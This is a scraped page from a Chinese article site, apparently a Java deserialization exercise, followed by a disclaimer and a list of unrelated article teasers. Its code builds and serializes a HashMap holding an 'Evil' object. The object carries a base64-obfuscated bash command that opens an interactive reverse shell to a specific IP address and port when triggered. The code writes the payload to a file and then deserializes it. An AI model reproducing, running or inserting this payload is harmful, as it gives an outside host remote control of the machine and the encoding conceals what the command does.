import java.util.Map;  public class url {  public static void main(String[] args) throws Exception {  String cmd= "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIxNy4xMTguMTk4Lzc4OTcgMD4mMQ==}|{base64,-d}|{bash,-i}";  Class<?> clazz = Class.forName("cat.uwu.begin_java.Evil");  Constructor<?> constructor = clazz.getDeclaredConstructor(String.class);  constructor.setAccessible(true);  // 允许访问私有构造函数  Object url = constructor.newInstance("ipconfig");  HashMap hashMap = new HashMap();  Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象  Field field = clazz.getDeclaredField("cmd");  field.setAccessible(true);  hashMap.put(url,'1');  field.set(url,cmd);  //        SerAndUnser.serialize(hashMap);  byte[] bytes = serialize(hashMap);  writeToFile(bytes,"1.bin");  System.out.println(Base64.getEncoder().encodeToString(bytes));  
//        unserialize(bytes);  Unserialize("1.bin");  }  public static void writeToFile(byte[] bytes, String filePath) throws IOException {  FileOutputStream fos = new FileOutputStream(filePath);  fos.write(bytes);  fos.close();  }  
public static byte[] serialize(Object obj) throws IOException {  ByteArrayOutputStream baos = new ByteArrayOutputStream();  ObjectOutputStream oos = new ObjectOutputStream(baos);  oos.writeObject(obj);  return baos.toByteArray();  
}  public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{  ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));  Object obj = objectInputStream.readObject();  return obj;  }  }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/17346.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

leetcode226:反转二叉树

给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1]示例 2&#xff1a; 输入&#xff1a;root [2,1,3] 输出&#xff1a;[2,3,1]示例 3&#x…

Excel365和WPS中提取字符串的五种方法

一、问题的提出 如何在WPS或者Excel365中提取A列指定的字符串&#xff0c;从"面"开始一直到".pdf"? 问题的提出 二、问题的分析 我们可以采用多种方法解决这个问题&#xff0c;由于A列到B列的提取是非常有规律的&#xff0c;因此我们可以采用如下几种方…

下载jakarta-taglibs-standard-current.zip

官网&#xff1a;https://archive.apache.org/dist/jakarta/taglibs/standard/binaries/ 下载版本&#xff1a;

Qt信号和槽

信号和槽的概念 在Linux中我们也学过信号 Signal&#xff0c;这是进程间通信的一种方式&#xff0c;这里大致分为三个要素&#xff1a; 信号源&#xff1a;谁发送的信号&#xff08;用户进程&#xff0c;系统内核&#xff0c;终端或者作业控制&#xff0c;&#xff09; 信号的类…

MATLAB绘图

一、实验内容和步骤 MATLAB的图形功能非常强大&#xff0c;可以对二维、三维数据用图形表现&#xff0c;并可以对图形的线形、曲面、视觉、色彩和光线等进行处理。 1、绘制二维曲线 绘制如下图所示的图形&#xff0c;把图形窗口分割为2列2行&#xff0c;在窗口1中绘制一条正弦…

H3C NX30Pro刷机教程-2024-11-16

H3C NX30Pro刷机教程-2024-11-16 ref: http://www.ttcoder.cn/index.php/2024/11/03/h3c-nx30pro亲测无需分区备份 路由器-新机初始化设置路由器登录密码telnet进入路由器后台 刷机上传uboot到路由器后台在Windows环境下解压后的软件包中打开 tftpd64.exe在NX30Pro环境下通过以…

boost之property

简介 property在boost.graph中有使用&#xff0c;用于表示点属性或者边属性 结构 #mermaid-svg-56YI0wFLPH0wixrJ {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-56YI0wFLPH0wixrJ .error-icon{fill:#552222;}#me…

[C++] 智能指针

文章目录 智能指针的使用原因及场景分析为什么需要智能指针&#xff1f;异常抛出导致的资源泄漏问题分析 智能指针与RAIIC常用智能指针 使用智能指针优化代码优化后的代码优化点分析 析构函数中的异常问题解决方法 RAII 和智能指针的设计思路详解什么是 RAII&#xff1f;RAII 的…

Android数据存储

前言 在前面&#xff0c;我们已经学了控件和布局&#xff0c;那么我们在存储数据的时候&#xff0c;并不能持久化的存储&#xff0c;所以我们需要来学习一些如何持久化存储数据的方式. 数据存储方式 文件存储&#xff1a;在android中提供了openFileInput()方法和openFileOut…

Java基础——多线程

1. 线程 是一个程序内部的一条执行流程程序中如果只有一条执行流程&#xff0c;那这个程序就是单线程的程序 2. 多线程 指从软硬件上实现的多条执行流程的技术&#xff08;多条线程由CPU负责调度执行&#xff09; 2.1. 如何创建多条线程 Java通过java.lang.Thread类的对象…

【网络】网络层——IP协议

> 作者&#xff1a;დ旧言~ > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;了解在网络层下的IP协议。 > 毒鸡汤&#xff1a;有些事情&#xff0c;总是不明白&#xff0c;所以我不会坚持。早安! > 专栏选自&#xff1a;网络…

获取当前程序运行时的栈大小[C语言]

废话前言 一晃已经毕业了4年&#xff0c;也在某个时间点&#xff0c;从面试者转变成了面试官。 进行第一次面试的时候&#xff0c;我好像比候选人还慌张&#xff0c;压根不知道问什么&#xff0c;好在是同行业&#xff0c;看着简历问了一些协议内容以及模块设计思路&#xff0…

人工智能之数学基础:数学在人工智能领域中的地位

人工智能&#xff08;AI&#xff09;是一种新兴的技术&#xff0c;它的目标是构建能够像人类一样思考、学习、推理和解决问题的智能机器。AI已经成为了许多行业的重要组成部分&#xff0c;包括医疗、金融、交通、教育等。而数学则是AI领域中不可或缺的基础学科。本文将阐述数学…

UE5 第一人称射击项目学习(一)

因为工作需要&#xff0c;需要掌握ue5的操作。 选择了视频资料 UE5游戏制作教程Unreal Engine 5 C作为学习。 第一个目标是跟着视频制作出一款第一人称射击项目。 同时作为入门&#xff0c;这个项目不会涉及到C&#xff0c;而是一个纯蓝图的项目。 项目目标 这个项目将实…

图像分类之花卉识别实验验证

本实验基于37种主流的图像分类算法模型&#xff0c;对64种花卉进行识别。使用包括vgg、resnet、densenet、efficientnet、inception、mobilenet等37种图像分类模型进行实验&#xff0c;评估各种模型对花卉的识别准确度、计算量、参数量&#xff0c;对比不同模型的性能和优缺点。…

Linux基础开发工具使用

目录 1. 软件包管理器yum 1.1 概念介绍 1.2 更换镜像源&#xff08;可选&#xff09; 1.3 工具的搜索/查看/安装/卸载 1.4 优势 2. vim编辑器 2.1 vi和vim 2.2 三种常用模式和操作 2.3 配置vim 3. Linux编译器-gcc/g 4. Linux调试器-gdb 5. make和Makefile 6.…

电脑怎么自动切换IP地址

在现代网络环境中&#xff0c;电脑自动切换IP地址的需求日益增多。无论是出于网络安全、隐私保护&#xff0c;还是为了绕过地域限制&#xff0c;自动切换IP地址都成为了许多用户关注的焦点。本文将详细介绍几种实现电脑自动切换IP地址的方法&#xff0c;以满足不同用户的需求。…

PMBOK® 第六版 控制进度

目录 读后感—PMBOK第六版 目录 制定了明确的计划后&#xff0c;对计划的控制尤为重要。例如&#xff0c;经常提到的“累积效应”&#xff0c;如果某个阶段的评分仅为0.9分&#xff0c;那么五个得分为0.9分的阶段&#xff0c;最终结果可能只是一个0.5分。 特别是在当今这个时…

linux001.在Oracle VM VirtualBox中ubuntu虚拟系统扩容

1.打开终端切换到virtualBox安装目录 2.输入命令扩容 如上终端中的代码解释&#xff1a; D:\Program Files\Oracle\VirtualBox>.\VBoxManage modifyhd D:\ubuntu18.04\Ubuntu18.04\Ubuntu18.04.vdi --resize 40960如上代码说明&#xff1a;D:\Program Files\Oracle\Virtual…

Web导出Excel表格

背景&#xff1a; 1. 后端主导实现 流程&#xff1a;前端调用到导出excel接口 -> 后端返回excel文件流 -> 浏览器会识别并自动下载 场景&#xff1a;大部分场景都有后端来做 2. 前端主导实现 流程&#xff1a;前端获取要导出的数据 -> 常规数据用插件处理成一个e…